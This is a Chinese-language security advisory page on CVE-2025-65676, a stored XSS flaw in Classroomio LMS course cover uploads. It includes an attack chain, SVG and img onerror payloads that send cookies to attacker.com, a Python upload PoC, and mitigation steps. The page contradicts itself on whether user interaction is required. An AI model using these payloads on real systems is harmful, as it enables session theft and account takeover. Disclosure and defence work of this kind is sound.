IPBUF安全漏洞报告
English
CVE-2025-65676 CVSS 5.4 中危

CVE-2025-65676: Classroomio LMS存储型XSS漏洞通过SVG封面图片执行任意代码

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-65676
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Classroomio LMS 0.1.13

相关标签

存储型XSS跨站脚本攻击SVG注入Classroomio LMSCVE-2025-65676文件上传漏洞Web应用安全学习管理系统会话劫持

漏洞概述

CVE-2025-65676是Classroomio LMS学习管理系统中发现的一个存储型跨站脚本(XSS)漏洞,CVSS评分5.4,中危级别。该漏洞存在于系统的课程封面图片上传功能中,攻击者可以通过上传特制的SVG文件注入恶意JavaScript代码。由于SVG文件会被服务器存储并在其他用户访问时重新呈现,恶意脚本将永久保存在系统中,所有查看该课程的用户都会自动执行攻击者植入的代码。Classroomio LMS是一个开源的在线学习平台,被广泛应用于教育机构和企业的在线培训场景。此漏洞允许已认证的低权限用户(攻击者)绕过正常权限限制,执行任意JavaScript代码,从而窃取其他用户的敏感信息,包括会话Cookie、用户凭证等。攻击成功后,攻击者可以完全控制受害者的账户,甚至可能横向移动获取管理员权限,对整个平台造成严重安全威胁。由于该漏洞的存储特性,传统的基于会话的防护措施难以完全防御,需要从输入验证和输出编码两方面进行修复。

技术细节

该漏洞的技术根源在于Classroomio LMS对用户上传的SVG文件缺乏有效的安全验证。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持内嵌JavaScript代码。当攻击者上传一个包含<script>标签或事件处理器(如onload、onerror)的SVG文件作为课程封面时,服务器仅验证文件扩展名为.svg,却未对文件内容进行安全检查。攻击者可以构造如下SVG payload:<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>。该文件被存储在服务器后,当其他用户访问课程页面时,浏览器会解析SVG并执行其中的JavaScript代码。由于浏览器将SVG作为图片资源处理,内嵌的脚本会被自动执行,这就是经典的SVG XSS攻击向量。攻击者通常会使用更隐蔽的payload来窃取用户会话或执行更复杂的攻击,如使用<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>来绕过某些过滤器。此漏洞的利用条件相对较低,只需低权限认证账户即可发起攻击,且不需要目标用户的交互(存储型XSS自动触发),这大大增加了漏洞的危害性。

攻击链分析

STEP 1
步骤1
攻击者在Classroomio LMS平台注册低权限账户并完成登录认证
STEP 2
步骤2
攻击者创建新课程或编辑现有课程,进入课程封面图片上传功能
STEP 3
步骤3
攻击者构造包含恶意JavaScript代码的SVG文件(XSS payload),通过上传接口提交
STEP 4
步骤4
服务器未对SVG内容进行安全过滤,直接存储恶意文件并返回成功响应
STEP 5
步骤5
当其他用户(受害者)访问该课程页面时,浏览器解析SVG文件并自动执行内嵌的JavaScript代码
STEP 6
步骤6
恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的凭证劫持受害者账户,进一步扩大攻击范围或获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # CVE-2025-65676 PoC - Stored XSS via SVG cover image in Classroomio LMS # Target: Classroomio LMS <= 0.1.13 # Attack Type: Stored Cross-Site Scripting (XSS) TARGET_URL = "http://target.com" # Replace with actual target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" UPLOAD_URL = f"{TARGET_URL}/api/courses/upload-cover" # Malicious SVG payload with XSS XSS_PAYLOAD = '''<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)"> <script>console.log('XSS Triggered')</script> </svg>''' def login(username, password): """Authenticate and get session cookie""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) if response.status_code == 200: return session return None def exploit(session): """Upload malicious SVG as course cover image""" files = { 'file': ('course_cover.svg', XSS_PAYLOAD.encode(), 'image/svg+xml') } response = session.post(UPLOAD_URL, files=files) return response if __name__ == "__main__": # Step 1: Login with low-privilege account session = login("[email protected]", "password123") if session: # Step 2: Upload malicious SVG file result = exploit(session) print(f"Upload Status: {result.status_code}") print("Malicious SVG uploaded. XSS will trigger when users view the course.")

影响范围

Classroomio LMS < 0.1.13
Classroomio LMS 0.1.13(确认受影响)

防御指南

临时缓解措施
在官方修复发布之前,可采取以下临时缓解措施:1)暂时禁用SVG文件上传功能,改用白名单机制允许PNG、JPG等安全图片格式;2)对所有上传文件进行深度内容扫描,剥离<script>标签和事件处理器属性;3)配置Web应用防火墙(WAF)规则检测和阻止SVG XSS攻击特征;4)限制低权限用户的课程创建和编辑功能;5)加强对用户上传文件的存储位置控制,阻止直接从主域名访问上传的SVG文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表